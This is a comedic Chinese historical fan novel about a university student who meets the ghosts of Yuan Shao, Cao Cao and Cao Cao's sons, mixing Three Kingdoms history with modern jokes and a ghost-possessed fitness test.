《[三国]给老祖们整个绝活》 苍蝇搓手 “魏王,您两千岁的时候将会有一个大劫。” “两千岁?呵呵,汝以为孤是爱听谄媚之言的人?拖下去!” 然而令曹操没想到的是,在他六十六岁寿终正寝下葬后的第一千九百三十四年,正正好好两千岁的时候,真遭到了一劫。 他是被一声怨气十足的喊叫给吵醒的。 “曹贼!我来给你治头风啦!” 曹操:???? --------- 自从安阳的曹操高陵扩建修整成为博物馆后,前来瞻仰魏武遗风的游客逐年增加。 当别的游客去参观展品或者到遗址瞻仰时,一名女生沉着怒气迈着大四方步来到新建造的黄铜魏武像下怒目而视。 她手捧一条长长的白色布帛,对着雕像慷慨激昂情绪万千地念诵着,还有诸多不甘,甚至能听出点咬牙切齿的味来。 仔细听来,念的竟是东汉末年官渡之战前,袁绍让陈琳所写痛骂曹操的讨伐檄文。 因离展馆和遗址有些距离,倒也没什么人围观。念檄文骂曹贼还不消气,念完还开始狂夸袁绍,临走了还出言不逊。 “曹阿瞒哪有这样的威风样貌,哼。”话罢,那年轻女子随意收好檄文帛书,左手似习惯般地按在腰间位置,再次迈着大四方步走远了,在展馆里瞎逛还时不时贬低两句。 被导游重点讲解的以少胜多的官渡之战也一直被反驳,坚持认为袁绍如果没有病死,他曹操是没有任何机会的,还说病死了后几个儿子内乱都好几年才被打败,曹阿瞒就是不行。 此言惹来众怒,在曹操陵墓里夸袁绍,这不是找茬吗? 女生眼里流露出难以置信的错愕,好像在说:他曹操在后世的风评这么好?这么多人拥护?? 抱着一万分的困惑和不屑,女生孤高傲慢地瞥了瞥白眼打算离开高陵。就在快要走到门口的时候一个趔趄差点摔倒,眼中的不屑傲慢也转变成为大学生独有的清澈愚钝。 女生还没抬头,就看见一双缎面皂靴,视线上移看见一个身穿靛蓝色绸缎直裾、身长有容、束发蓄须的老者,腰间佩剑长窄精致,威风有度。 博物馆出入口人来人往,却只看见这女生停顿不前,而那从妆容服饰到气度仪态都十足十“古”的老者竟无一人留意。 “……”吕思彤深吸一口冷气,脸上神情纠结,俨然一副扇形统计图。 三分恐慌:玛德,真见鬼了! 三分惊喜:卧槽!!搞史同搞到正主了!! 三分恼怒:说好的是来找曹操叙旧,怎么成了辱骂念檄文啊!! 还有一分不经心故作淡定:小问题,檄文而已,又不是雷文。 回想起昨日在沧州高龙华古墓(袁绍墓)所闻所见,吕思彤开始冒冷汗,问:“所以……你请我去墓里坐坐的那个墓,不是高仿?真是你的墓?” 路过的游客投来疑惑的视线,她将手机贴耳装作是打电话,挪到了边上没人的角落。 这鬼魂正是曹操当年的反目成仇的竹马,袁绍。 “然也。”袁绍看了眼被忽悠的后世小辈,昨天在他自己的陵墓里被一声“袁神启动”惊醒,恍惚知晓千年变迁,便到地上去看看情况。 发现只有这位在陵墓前祭拜的后辈能看见自己,而且好像还把他当成了假冒袁绍鬼魂的活人,于是邀请对方到墓里做客,相谈甚欢一个时辰,了解少许后世概念。 得知她下一站是祭拜曹阿瞒,便谎称找故友叙旧,希望能借附身走一趟。 这女子答应得十分爽快,连道好好好,还说什么大小姐请便之类的话,莫名其妙。 吕思彤咽了咽口水,从背包里翻出一个成色亮红的漆器碗,昨天在墓里拿的,她以为是高仿现代工艺品才开口问能不能带走做纪念。 “所以这个东西,是你的陪葬品?” “然也。”袁绍点点头,“不知能值几钱,且送你作为谢礼。” 还没从震惊里回过神,又有了新的震惊,这可不兴拿啊! “东西我就不收了,你真要谢我的话……”在逐渐接受了撞鬼撞见历史正主后,吕思彤脸上笑容逐渐变态,按捺住兴奋的心情苍蝇搓手,道,“这样,就是,你能不能表演下那个?” “?”袁老头十分疑惑,皱眉道,“何谓表演?哪个?” 吕思彤吸气,压抑着激动的心情提出要求。 “这样就是,你侧身站着,然后双手交叉抱臂。”无数安放的手,想直接上手调整又怕冒犯了老祖,“嗯对,然后头稍微仰起一点,往侧身相反的方向。” “对对对,然后一边腮帮子鼓起来,最后生气地哼一声。”继续苍蝇搓手。 “哼!”单纯的汉朝老祖不懂什么傲娇经典,觉得无非就是一个寻常生气的动作,因此更无法理解这位小辈突然放光的眼睛和咬牙切齿憋笑的扭曲表情。 吕思彤心满意足地捂着心口,比划了个大拇指,说:“本初大小姐真是可爱捏。” “????”袁绍不明白为什么总被这后辈称为大小姐,也不明白自己一把年纪了为什么要用可爱来形容。 尽管这后世小辈坚持不肯收下漆器碗,袁绍还是没有拿走,说:“今日骂了曹贼一顿,心中舒展,且休息片刻,你自己忙去吧。” 话罢,也不等回应便消失在了原地。 “……”吕思彤盯着手里的牢底坐穿古董,立刻打开手机开始搜索。 [在不知情的情况下顺走了一件古董,犯法吗?] 搜索键刚按下去,一名穿着西装梳着七分头、年龄四五十岁的工作人员走过来,笑着说:“你是袁绍的粉丝吧?” “啊?”吕思彤尴尬道,“不是的……” 这工作人员脸上笑着,但眼睛里满是看到对家粉丝来整活的不悦,说:“我是这里的馆长,年轻人喜欢历史是好事,但该有的尊重还是要有的。” “我真不是袁绍粉……”吕思彤试图解释,馆长只是呵呵笑了笑。 不是袁绍粉跑来曹操墓前念檄文?刚才一个劲反驳解说员,还一直夸袁绍呢。 说话间,馆长的视线落在吕思彤手里拿着的漆器碗具上,成色红亮,做得挺精致,有少许不明显的做旧感,估计是哪里买的文创品。 嗯?仿得好像有点真,不确定再看看。纹理材质和漆面不太像是现代工艺…… “你手里这个漆器是?”馆长想问她借过来看一看,但刚才还委婉训斥了人家,有些不好开口。 吕思彤头皮一麻,看了眼手机上跳出来的搜索结果。 任何一个盗墓贼都不会承认自己是明知故犯,所以不存在不知情的情况下。 某度搜索结果:[省重点文物保护单位及以上,十年起步,情节严重者死刑。] ??!! 吕思彤连忙将漆器往馆长手里一塞,说:“实不相瞒,我是来上交文物的!” 边上有游客投来好奇的视线。 “呵呵呵,现在年轻人真幽默。”馆长拿起来看了眼,科普说,“虽然做工是很厉害,不像是收藏工艺品,更像是准备流通的赝品,但是漆器这个东西啊保存十分困难……” 馆长停顿了一下,手也僵住了。 片刻,馆长笑了笑:“请到我办公室坐一会吧,您看方便吗?” 二十分钟后,吕思彤拿到一张证书和500现金。为了鼓励民众上交文物,只要不是特别重量级的文物一般都不会询问来源。 “呼……”吕思彤长舒一口气,这钱才拿得安心嘛。 馆长笑着伸手表示握手友好,说:“好同志,有格局,以后还有想上交的可以联系我。” 吕思彤转身准备离开又被馆长叫住。 “等下。”馆长若有所思的说,“你今天在魏武像前念的帛书能不能借我看看。” “……”当场尬住,她还以为这事只有少数路过的游客知道!吕思彤从背包里将写了字的布条取出来,她都不知道袁绍从哪弄来的布条和笔墨。 馆长接过布条仔细看了看,竟是对这书法啧啧称奇,大多数人练习书法都选择楷书、行书或者草书,练隶书的少之又少,它没有楷书的规整自然、没有行书的灵动飘逸、也没有草书的洒脱狷狂。 隶书是汉朝时的官方书写体,由篆书演化而来,字形多呈宽扁因此会有一种厚重感。再者因隶书年代久远,隶书大家的真迹保存相对更少,就没有别的字体那么吃香。 从墨痕来看,应该挺新的,甚至像是今天才写的,能有这造诣的书法大师,估计得有七八十岁,如此一想,这女生难道是个书香门第?那么有保存完好的漆器要上交,好像也不奇怪。 馆长看了看吕思彤,问:“这是谁写的?” “嗯……是……我写的。”吕思彤脚趾扣地硬着头皮认下。 “嘶……”馆长肃然起敬,随后提出花一千买下这幅隶书的讨伐檄文书法,讨伐檄文名为《为袁绍檄豫州》,虽十分经典流传至今,但陈琳的原稿是至今没有出土的。只有一些后来朝代的文人书法作品,楷书行书都有,就是差了那么点感觉。 今日所见这笔墨风姿,虽不敢说能有陈琳的几分风骨,但见这看似工整的隶书行文里按不住的愤怒,完全能够作为代表。 “……”吕思彤心虚地想,当然了,这大概率是袁绍本人亲手写的。 她犹豫了一会,说:“可是,你不是说袁绍粉丝才这么做,何况这是骂曹操的东西。” 馆长摆摆手,说:“唉?读书人的事怎么能算辱骂呢,这叫历史文化再演绎。” 辱骂曹操?那必然不算!这是曹操重大事件里的关键代表物,要是哪天能出土个陈琳原稿放在馆里,馆长愿意亲自念给魏武像听。 正好也愁不知如何处理这帛书,吕思彤想了想还是答应了馆长的交易。 不远处展馆的陪葬品上冒出两个脑袋,小声议论。 “是那姑娘对父亲出言不逊?竟还没跑,待我一剑了结了她。” “兄长且慢,其中或许有误会,待冲儿跟随去问问” 一个小少年离开某件展品,竟没有人看到他,跟随在那女生身后离开了高陵博物馆,逐渐融入暮色。 苍蝇搓手 莫名背了个黑锅的吕思彤一路从高陵回到旅游酒店都觉得胆战心惊,生怕被怪罪。 仔细一想就算真遇到曹操鬼魂,他一个鬼再生气还能把自己怎么样?及时认错,吹点彩虹屁,不至于和她一个千百年后的小辈计较吧? 手里上交文物的证书有些分量,并非一张普通的硬卡纸,双层的设计中间塑封了一枚五铢钱,下方还有描述,也是高陵出土的,给上交者一个留念。 五铢钱和后来朝代的铜板价值差不多,因为出土量大且民间长期流通过,所以算不上稀奇,制作成证书装饰后,意义倒是比单纯收藏品更珍贵了。 “嘿嘿嘿。”实在是难以抑制激动的心情,抖着手把撞鬼这事情分享出去。 过了一会得到回复。 [我刚开飞船经过地球看到了,是真的。] [在现场,我是那块碑。] [让你V50请他吃肯德基给你封官是吗?] 显然没人信,还泼了不少冷水。 “哼哼。”吕思彤撇撇嘴看了眼时间,旅行团明天还有一天的行程,便点了份外卖准备洗漱早点睡觉。 走到窗户边上将窗帘拉好,夜晚的玻璃因为内外光源差而导致像面镜子,将室内的一切投射在玻璃上。 背后不远处站了一个身穿汉时衣物的小孩? 吕思彤吓得连忙回头,但房间里空荡荡地并没有别人,她舒了口气,心想应该只是正好站在外面的小孩,和玻璃投影重叠导致视觉上的误会。 等等,她这酒店房间是在二十多楼啊!! 吕思彤脊背一寒,扭头再次看向窗外却没见到那孩子了,难道是自己的幻觉?她将窗帘仔细拉上,才舒了口气,一回头,这下是真看见了,而且比玻璃倒影看到的更近一步。 “……”撞鬼袁绍时毫不知情,到事后反应过来的后知后觉,其实并没有什么恐怖的感觉。 但这个小鬼是真的吓到她了。 “你为何在我父亲墓前念讨伐檄文,还大言不惭是治病?”那小少年开口了。 对方声音清脆,谈吐清晰,站在自己两步距离的位置前,一身青色为底的布衣,外面一件淡色双绕曲裾,袖子是寻常的广袖便知晓是个富贵人家不干重活的公子。 这布料却并不讲究,甚至能看出一些廉价感,又并不符合富贵人家的猜测。 看着年纪十二三岁,却已经有些端方君子的气质,一双明亮的眼睛炯炯有神透露着智慧。 “我炒,是冲儿?”几乎不用思考,在刚背负了念檄文辱骂曹操的黑锅后,瞬间就判断出这小少年是寻仇上门的曹家人。 虽是权贵之家但衣物朴素,是因曹操提倡节俭,而曹操的孩子们之中十三岁时去世的聪明小少年,只有一个,曹冲,小字仓舒。 曹冲显然低估了这位后世小辈的脸皮,她竟好意思称呼自己的祖先为冲儿?没大没小,目无尊长。 原本心里还有点没去找找曹操鬼魂的遗憾,现在可以确定,不仅仅是袁绍这个老祖鬼魂存在!阿瞒也在! 吕思彤更加激动,十指乱动,先前第一次见鬼没什么经验,只让大小姐表演了下经典傲娇,其实……其实很想听傲娇大小姐气鼓鼓地用笨蛋笨蛋笨蛋地骂自己捏。 至于冲儿,那必然是妈妈粉! 吕思源按捺着情绪,说“当年檄文送到许昌,你应该有印象了呀。” 曹冲回忆了一下,再好的脾气也垮了个小脸,说:“那时父亲头风病犯,听此檄文顿出冷汗,竟头也不痛以为病愈。” “对对对,这叫话疗。” “你!”好心的曹冲又生气又委屈,说,“我还以为其中误会,有心为你求饶,不想你竟如此恶劣!” 吕思彤没觉得羞愧,如果说面对老祖鬼袁绍的时候还会受到其老头形象而有尊老的心态在,不敢动手。 那么此时的小鬼冲儿,这不是随便欺负? “冲儿生气的样子都这么可爱捏~”吕思彤嘿嘿笑着捏了捏小脸,非常Q弹,“小仓鼠这么可爱,让妈咪mua一个!” 曹冲皱眉,一脸见鬼的表情,声音带着几分颤抖道:“你作甚!我可是你的祖先!” 强力吸尘器,启动!! muuuuuuuuuua!! 曹冲哭着消失不见了。 吕思彤一抹口水,心想完蛋,惹大祸了! 在曹操的视角看来就是她这个无耻之徒先去他坟前念檄文骂人,然后又把上门调解矛盾的曹冲给狠狠mua了一口。 这何止是不敬先灵,简直是不敬先灵。 吕思彤连忙查看晚上的车票决定跑路,嘶,高铁晚上没票!不管,买普速列车也要跑! ……… 曹冲失魂落魄地瞬移回了高陵,含泪捂着脸哽咽地汇报情况,仍旧还是善良地劝父亲不必追究一个小辈。 曹操见曹冲不太对,拨开他挡着一半脸的袖子,错愕道:“这是怎么了?” 另一个年轻鬼魂也凑过来,是曹冲的兄长曹昂,字子脩,他略有错愕道:“那女子给你脸上拔了个火罐?” “……”曹冲眼泪吧嗒落下来,实在不理解对方为何要自称妈咪,难道是要当她的母亲吗? 如此大乱辈分,占祖先的便宜,简直可恶!连向来仁心的曹冲都无法接受,但他没有将这件事情说出来,只是委屈道:“她欺辱我。” 曹昂听后十分恼怒,道:“辱骂我父在先,又欺辱我弟,岂有此理。”说完向着曹操请命,“孩儿愿往,取其首级带回来谢罪。” 但刚才冲儿是一路跟踪去才认识路,他们现在单独自己去找,后世人海茫茫出行方式千奇百怪,恐怕是找不到的。 父亲自己生不生气不重要,重要的是父亲受到侮辱这事不能不追究,否则有违孝道。 父子三人沉默了一会,边上还坐着被上交到高陵的袁绍。 袁绍面色平淡,心里却已经记恨上了,那后世小辈表面好好好答应似乎谦卑有礼,一扭头就把他的陪葬品上交给高陵的官吏? 当他休息够了从漆碗上睁眼,就看见曹阿瞒那张老脸贴在玻璃上近距离观察被上交的陌生陪葬品,那画面,别提有多惊悚了。 曹操瞥来一眼,问:“后世小辈为何无端羞辱先人,莫非是本初指使?”他知道袁绍的墓是在沧州,当年还去祭拜过,此时出现在高陵实在可疑。 “老夫指使她?呵呵。”袁绍自然不认,回了一对白眼,倒是也没说谎,人肯定不是他指使的,是他亲力亲为的。 撇开把他的漆器上交给高陵这事,其实还是挺尊敬他的,对比之下,曹冲哭着回来,是不是可以说明那小辈对曹操有意见?本身也是痛恨曹贼的? 嗯,若是如此,暂且不追究她上交漆碗一事。 曹家三人讨论着如何才能找到那大放厥词的小辈,即使曹冲努力回忆,也只记得是跟踪之后没多久坐进了一个铁皮壳子,那壳子飞快的移动,根本记不住路线。 似乎想到了什么,曹冲说:“她手里似乎有一枚高陵的五铢。” 老祖们虽然死了千年,但当鬼其实也没多久,不仅对后世世界不理解,对自己这个鬼拥有的能力也不了解,还在摸索之中。 目前知道的两个能力,一个是可以隐形显形,只不过即使显形目前也只有那一个人能看到,就是那个没大没小没素质的后辈姑娘。 另一个能力就是瞬移,只要是属于自己东西,就可感知到位置并且移动到那件东西上去。 曹操闭目,脑海里便感知到整个博物馆范围的光斑,他扩大感知范围,其他地方甚至更遥远的异邦,都存在光斑,甚至还有亮得刺眼的光。 经过一阵的排查,找到了那位后世小辈。 但是,为何如此遥远,在江东吴郡的方位? 从她离开高陵到现在,也就不到四个时辰,即便是畏罪潜逃,四个时辰从安阳跑路到吴郡? “江东之地……孙权所治,想必是受了孙权指使。”曹操沉声分析,他活着的时候和他有冲突的江东人也就孙家了,而孙坚孙策是外露的暴脾气,真要有意见绝对亲自过来,而且是动手,不是出言侮辱。 也就孙权小儿会用如此手段,指使后世小辈来做脏事,当真无耻。 曹操冷哼一声,又道:“孤虽不在乎身后评,何况是孙权指使,因此怪罪一个后世小辈实在不该。而今局势未明,倒不如让她引见孙权,问个清楚。” “是,父亲。” 于是曹操和曹昂二人,哦不,二鬼,瞬移到了现在在江东吴郡某小区的五铢钱上。 “咦嘻嘻嘻嘻。”一来就魔音贯耳,听到女子放肆的笑声。 怎么形容呢……嗯……反正不像个正常人。 苍蝇搓手 连夜从安阳跑路的吕思彤到家已经凌晨四点,根本睡不着。 为了缓解兴奋的情绪,干脆登录晋晋文学城找三国史同粮开始啃。 正津津有味面带笑容看到公瑾类绍铜雀春深锁周郎,突然一只苍老的手拨开手机,手机背后露出一张似慈祥似威严的脸。 “小友在看什么,笑得十分欢愉?” 吕思彤惊得坐起来,缓过神来回答说:“一些野史……” 这次一下子两个鬼找上门,年老者看上去六十多岁,一件暗红色的曲裾以淡金色暗纹做点缀,头戴九旒冕,按周礼记载天子为十二旒,戴九旒的也基本上是王侯级别了。 腰间五谷社稷装饰的玉带,腰侧佩剑乃是标准的汉剑样式,接近一米,挂在老者腰间时剑鞘几乎触地。 身边年轻的鬼魂二十岁左右,甚至还没蓄须,面容硬朗俊挺,眉宇间精神气饱满,脸上好几处伤痕莫名有一种战损风格的帅气。 考虑到先前两位祖先都是东汉末年的,这两个如果也是的话…… 这老者虽慈祥笑着却不怒自威,身上那种站在高位的胜利者气质以及多年亲自带兵的杀气掩盖不住,更多的是王权威严不容质疑,时刻透露着敢隐瞒就死定了的威胁感。 等等??该不会是曹操吧?那么边上这个战损风的年轻人,就是战死宛城的曹昂。 袁绍到底在墓前骂得有多难听啊?曹操这个级别的正主都亲自寻仇上门了! 曹操见她脸上神色变化似乎已经知晓他是何人,心里也有些欣慰,至少说明这后世小辈对他曹孟德还是挺有了解,不论身后名的好坏,能被铭记能被了解,就已经胜过一切。 曹操继续慈祥笑着追问:“哦,是怎样的野史,如此有趣?” “是……是袁绍死后转世成为周瑜,在赤壁之战报了官渡大仇,后被曹操所获关到铜雀台。” “……”曹操愣了好一会憋出两个字,“甚野。” 趁着曹操愣神这么一会,吕思彤连忙邀请两位老祖到客厅坐下,顺手泡了两杯普通的安吉白茶,说:“这是明前龙井,采自清明之前的茶芽,由世居西湖的老师傅经过九九八十一道工序亲自炒成,我自己从来舍不得喝,这是孝敬两位的。” 现代茶叶对汉朝的制茶工艺来说是降维打击,头一次喝到这么清甜留香的茶,名士风雅之感顿生,就连生的气都消解掉不少。 猜到是来寻仇坟头辱骂一事,关键袁绍心眼小是史书记载的,要是说实话肯定被记恨。 琢磨着怎么解释坟头大放厥词一事,小心打量着曹操和曹昂。 啧,这曹操怎么长得和央三的曹操不一样呢?建议曹操反思一下。 曹昂脸上血迹明显,几道伤痕触目惊心,绑在头上的护额也残破几乎断裂,一双眼睛却格外明亮。身上的护甲也有多处破损,衣物上不少血迹,或许鬼魂保持着死前的模样,看着触目惊心。 然而看到这么惨烈的模样,吕思彤却咽了咽口水。 斯哈斯哈,战损子脩诶! 瞥到边上慈祥笑着的曹操,立刻收敛起来,这种不怒自威的气质真的是太吓人,笑得越慈祥越让人不敢放肆。 “两位老祖有什么吩咐吗?”吕思彤扯起假笑,跑这么远都能被他们寻仇上门,简直恐怖! 更恐怖的是正好在她看同人文看得津津有味的时候,幸好不是颜色废料,不然这辈子都戒了。 曹操缓缓饮了一口茶,说:“这茶当真清香十足,没想到江东还有这样的好物。孤与子脩此番前来,是想知晓孙权小儿是如何指使你到高陵辱骂孤的,你若如实道来,孤也不会冤枉好人。” 灵光一闪,对啊,可以甩锅啊! 这样就不怕曹操追究,也不怕袁绍记恨,就是委屈权仔了。 “嗯……是这样的……”吕思彤开始甩锅,“如你所见,我是江东人,权仔……呃,我是说吴王,毕竟是吴王你懂吧,吴王的命令我岂能不听。” 曹操若有所思,说:“孙权小儿的陵墓何在,你带孤去看看。” “……”这肯定不能答应,已经惹了高陵的祸,再惹东吴是真完蛋,安阳跑路回家都能被寻仇,要是得罪了权仔,还能跑哪去? 退一步讲,就算曹操不像袁绍那么无聊去别人陵墓前骂人,等他和孙权一见面,这什么指使不指使就真相大白了,她还多了个欺瞒之罪。 吕思彤春秋笔法一下,说:“吴王陵墓选址,八九百年前地方被人占了。”占孙权地盘的那人叫朱元璋,还把孙权设置成了门卫,实际上算是两人共用一块地盘,但这么说出来则像是孙权墓被人推了。 曹操将信将疑,几分得意,难怪孙权要指使后辈到高陵出言不逊,原来是嫉妒。 不过,老祖们可不是这么好忽悠的。 曹操本就是个心思极细又多疑的人,点点头笑着问:“既然是孙权指使你,成与不成,你都得有个回禀吧?陵墓寻不到,你又如何答复呢?” 汗流浃背了祖宗们!! “是他托梦给我的。”吕思彤硬着头皮编谎,脸上还得表现出一本正经毫不心虚的样子。 曹昂抱拳,说:“父亲,此人眼神飘忽不定,必有隐瞒。” 有这么明显吗?! 吕思彤继续编,说:“我眼神飘忽不定是因为……是因为眼神在左右移动,我们把这个现象称为飘忽不定。” 给老祖们来点废话文学的震撼。 “……”曹昂是真的听懵了,试图在这回答里找到逻辑,从未见过这样的回答。 曹操差点也绕进去了,随后大度一笑,道:“孙权之事暂时搁置,孤还有另一件事情要问你。” 曹操指了指放在书房里,他们的瞬移倚仗之物,那枚高陵出土的五铢钱。 吕思彤将那证书取来,心想不会这么小气,想把这枚五铢钱收走吧? 证书上都是简体字,不过也没什么重要信息,就是高陵博物馆的介绍,还有上交的文物日期、规格、年代估算、文物价值等信息。 曹操接过证书缓缓摩挲那枚五铢钱,问:“你是给高陵的官吏献了宝才得到的此物,说明在后世是较为珍贵之物。孤观此后世,却有一些大件物在高陵之外,甚至异邦,为何?需要如何的功绩,会赏赐出去?” “我没太听懂……你的意思是说,你知道哪些高陵的文物在外面?而且准确到大小规格?” 曹昂对她直呼父亲“你”有些不悦,但入乡随俗,父亲也没恼怒,或许还是得先了解了解后世的礼仪,到底是大家都如此,还是这小辈本身素质低下不懂礼貌。 曹操点头,说:“凡是高陵出去的东西,孤都能感知到一个光斑,按照大小物件光亮不同,若有破损则光也微弱。”如果是彻底损坏的,可能就无法感知到了。 “博物馆之间经常会有租借展览,个人收藏就不清楚了。”吕思彤仔细回想了一下,“被盗贩卖的概率比较大。” 然后给曹操科普了一下,说:“高陵一直到零六年才被发现,在那之前可能被摸金校尉摸了很多遍。”像曹操这样有争议的历史人物更容易被盗,甚至不盗只是以掘人坟墓的方式泄愤。 曹操叹息一声,心中很不是滋味。 “千古英雄,无莫如是乎?”却也没有后悔自己生前事。 见曹操竟是没有就这话题询问如何追回陪葬品,吕思彤很是吃惊。 曹操却说:“天下时有乱,百姓若要走到盗窃先人陵墓的地步,想必也是为生计所迫,孤担当生前之事便够。” “其实……”老祖先还是把人想得太好,很多盗墓者就是纯粹为了钱,生活未必多困难,只是喜欢不劳而获的感觉。 曹操抬手示意不要再继续这个话题。 讲到陵墓,吕思彤有些好奇的问:“话说,我们现在一直挺好奇的,高陵发掘后里面有两具合葬的女性骸骨,是卞夫人和刘夫人吗?” 卞夫人是他的第二任正妻,也就是魏文帝曹丕、陈思王曹植的生母,而刘夫人是长子曹昂的生母。 “嗯……”曹操皱眉,似乎这个话题也不想谈。 一旁曹昂顿了顿,问:“为何无我养母?” 养母是曹操的第一任正妻,丁夫人。 刘夫人死得较早,曹昂在很小的时候就由丁夫人抚养,丁夫人无所出,便将曹昂视为亲生对待。 然而,那一年曹操攻宛城,原本占据宛城的张绣投降,曹操令张绣为自己牵马执蹬,又看中了张绣的婶娘邹氏。此等屈辱,张绣不愿忍受,帐下谋士贾诩便出了个主意反叛。 军中变故发生突然,张绣军直杀营地,打得曹操措手不及,仓皇逃命。 宿卫将军典韦奋力战死掩护曹操和带着打仗的两个儿子逃跑,曹操的马匹中箭无法逃亡,曹昂便将自己的马匹让给父亲,自己用生命垫后。 另一个顺利逃命的儿子,则是后来的魏文帝曹丕,曹操也因这事对他常有不满。 丁夫人听闻曹昂的死讯后极其悲痛,多次指责曹操竟都不怀念孩儿,每每伤感落泪不加节制,有失主母之风,曹操也不愿意总被念叨自己的错误,十分生气地将丁夫人打发回娘家,想以此让妻子妥协认错。 过了段时间后曹操去娘家找丁夫人求和,丁夫人顾着织布头也不回当做没听见。曹操被气走,又折返询问,当真不能作罢吗?丁夫人仍旧不应,于是二人决裂离异。 这是曹操心里的一根刺,临死的时候还惦记着,怕死后见到了曹昂被询问母亲何在。 “咳!”曹操重重地咳了一声,此事他还没做好准备让子脩知晓,十分心虚,恶狠狠给吕思彤使眼色让她换个话题。 吕思彤缩了缩脖子,转移话题说:“啊哈哈哈,子脩将军,话说当年宛城之战全因张绣投降复叛,贾诩出了毒计,你知道张绣和贾诩后来怎样了吗?” 曹操震惊,哪壶不开提哪壶,是故意的还是不小心的?? 为祖负债 曹昂在宛城叛乱中垫后战死,割据宛城的张绣后来还是投降了,并且得到了重用,甚至参与了官渡之战打袁绍,食邑两千户,比其他功臣要高很多,后来在随曹操征柳城途中去世,其谥为定侯。 出谋划策反叛的谋士贾诩就更厉害了,一直到曹操都死了他还活着,也受到了任用,长寿善终。 这事从权谋角度来说是上位者笼络人心的手段,是曹操惜才爱才的肚量,甚至曹昂知道了也能理解父亲所为。 但只要这事还没挑明白,曹操心里必然是愧疚,必然是怕让子脩知道了寒心。 “咳!”曹操再次怒视吕思彤。 “哦哦!”吕思彤连忙圆场,说,“他们被曹公简单的留在身边,为的就是让他们眼睁睁看着曾经的敌人成就大业而无能为力,之后曹公没获得一块地盘,没拉拢一波人心,都是对这两个叛徒最大的折磨。” 曹昂不是几岁小孩子,对自己的父亲是有一定了解的,只是笑了笑说:“我知晓父亲肚量,何况天下未定用人之际,贾诩能有此智谋必然是能得到重用。” 吕思彤反驳说:“不不不,越是优待叛徒,越是让他愧疚,给的官职越高,让他越是提心吊胆,一辈子都活在愧疚中,这是最高级的惩罚。” “可是……” “没有可是!”吕思彤一本正经地说,“贾诩后来高官厚禄,可是他没朋友啊!连找他托关系混个官职他都不敢答应,心里可难受了,一年年忧虑累积,七十六岁的时候就病死了呢。” “……”曹昂无言以对。 曹操捋了捋胡须,神情有些惊讶和欣赏,这事还能这么圆?黑的说成白的是见多了,白的说成黑的,佩服佩服。 说完的同时,吕思彤已经脚趾扣地,天知道这一段编排是爆发了多少的求生欲。 手机消息一直弹出来,打断了尴尬的局面。 拿起来一看是学校的班级群里发布了一则通知,下周五的进行体能测试。 “嘶——”吕思彤倒吸一口冷气,对于当了两年多废物的大三脆皮学生来说,体能测试是个不可逾越的鸿沟。 而且令人费解的是,为什么大三的体测要求,比大一新生还要高?高三到大一新生期可是她的体能巅峰诶…… “唉。”一周的时间,临时抱佛脚也练不出个所以然来。 曹操看了看她,问:“何故叹息?” “下周要体能测试了,但我没怎么练过。”吕思彤眼睛在两鬼之间左右观察,突然想到了什么,既然袁绍能附身替她跟团旅游了一天,是不是也能让曹昂附身把体能测试给过了? 瞬间萎靡不振的精神又元气满满。 吕思彤试探得问:“要不,你们帮我考个试,我去努力打听打听权仔……吴王的联系方法。” 两位老祖不是很信任,刚才还说托梦没有办法。 为了让单纯的汉朝鬼相信,吕思彤单手举起向天,说:“我要是骗人,考试过了没去找孙权,就天打五雷轰。” “嘶——” 这可是相当重的誓言,把发誓看得极其重的汉朝鬼立刻就信了,甚至还因为她发得太毒而感到愧疚。 曹操点头应下,说:“你且道来,是怎样的考试。” 在简单和曹操曹昂科普了一下800米的要求和现代计数方式后,将古今换算结果也一并告知:相当于两里不到的路,要在一刻钟砍半再砍半的时间里跑完。 曹昂难以置信,这不是有脚就行?二十多岁的人了,不会有人跑不过这要求吧,不会吧? 于是,吕思彤带着曹操和曹昂往家附近的人民公园去。 一路所见所闻,令两位老祖对后世有了更进一步的理解。 这年轻女子说她只是个平民百姓,甚至自称“穷学生”,可却居住在高楼玉宇之上,这么高的建筑,就算是天子祭祀的露台也未曾有过的高度。走下高楼,宽阔的视野里可以看见很多的高楼,一直到一处被拦着的地方按手印离开才知晓那边才是大门。 如此气派的高楼建筑群,她还说自己是平民?? “要是能坐拥一整个小区,我得笑死……” 又见她走进一家似乎是铺子的地方,也不见她有付钱的举止,掏出那个曾在每个游客手里都看到的轻薄砖头给店员看了眼。 此举像是出示令牌,仗着身份白吃白喝,哼,竟是这等低劣之人,孙权所治的江东后世果然多出鼠辈。 “行行行,我买个早餐就成鼠辈了……” 而且这么早就进朝食,岂不是容易饿?通常是日上三竿进朝食,日薄西山进哺食,一共两顿。却听到她说自己是一日三餐,更加疑惑。 他这个当魏王的和家眷们都还是一天只吃两顿,她一个平民有条件一天吃三顿? 免费开放的小公园清晨已经有一些老头老太在打太极拳或者玩单杠器械,这些老人想必是权贵长者,否则怎么会建这样一个地方给他们以娱晚年? 却得知,也都是平民。 曹操愣在公园门口许久,昨天在高陵醒来后跟着游客逛了圈展馆,以为算是接触了解了后世,当真正踏在陌生的土地上去观察去认知,那种落差与陌生感才彻底落实。 他抬头看向蒙蒙亮的天,乾坤依旧,沧海桑田,突然间就觉得曾经的仇恨已经不值一提。 他又看向身边的曹昂,子脩是个极好的孩子,是他当做接班人培养的,却因为自己的一个过错英年早亡。他不禁去想,来到千年后这个连尸骨都早就腐朽的地方,还要去计较那些造成生死别离的杀伐和憎恨吗? “孤,不见孙权了。”曹操神情悠远,感叹的时候还不忘贬低一下,“孙权小儿心胸狭窄,千年之后还要指使无辜小辈到孤的陵前放肆。他如此狭隘,孤却不能。” 曹昂微微低头侧首认真听着,既然父亲这么决定,他便也听从,抱拳道:“父亲雅望。” 吕思彤一脸失望,问:“老祖宽宏大量不和吴王计较,真乃英雄也!我是想说,如果不见孙权了,那还帮我……考试吗……” “答应的事情,自然不会反悔。”以后总有用她帮忙的时候,现如今还没别人能看到鬼魂。 简单给曹操科普了一下分秒的概念,然后示范了一下数秒的节奏,让魏武帝曹操来读秒。 从公园门口绕一圈小道回到原点,大概就在800米左右。 “好。”曹昂应声,在得到允许后便附身起跑。 好消息:轻轻松松,成绩是2分19秒。 要知道800米的优秀标准才3分17秒!而世界纪录是1分41秒! 坏消息:身体归身体,鬼魂归鬼魂。 脆皮大学生的体质太差,跑完恢复成吕思彤自己后只感觉眼冒金星,嘴里全是血腥味,缺氧严重,两腿的肌肉一下子活动太多,此时又酸又痛使不上力,很久才缓过来。 吕思彤大口呼吸,这相当于她燃烧了双倍的肌肉和氧气才能跑出2分19的成绩。 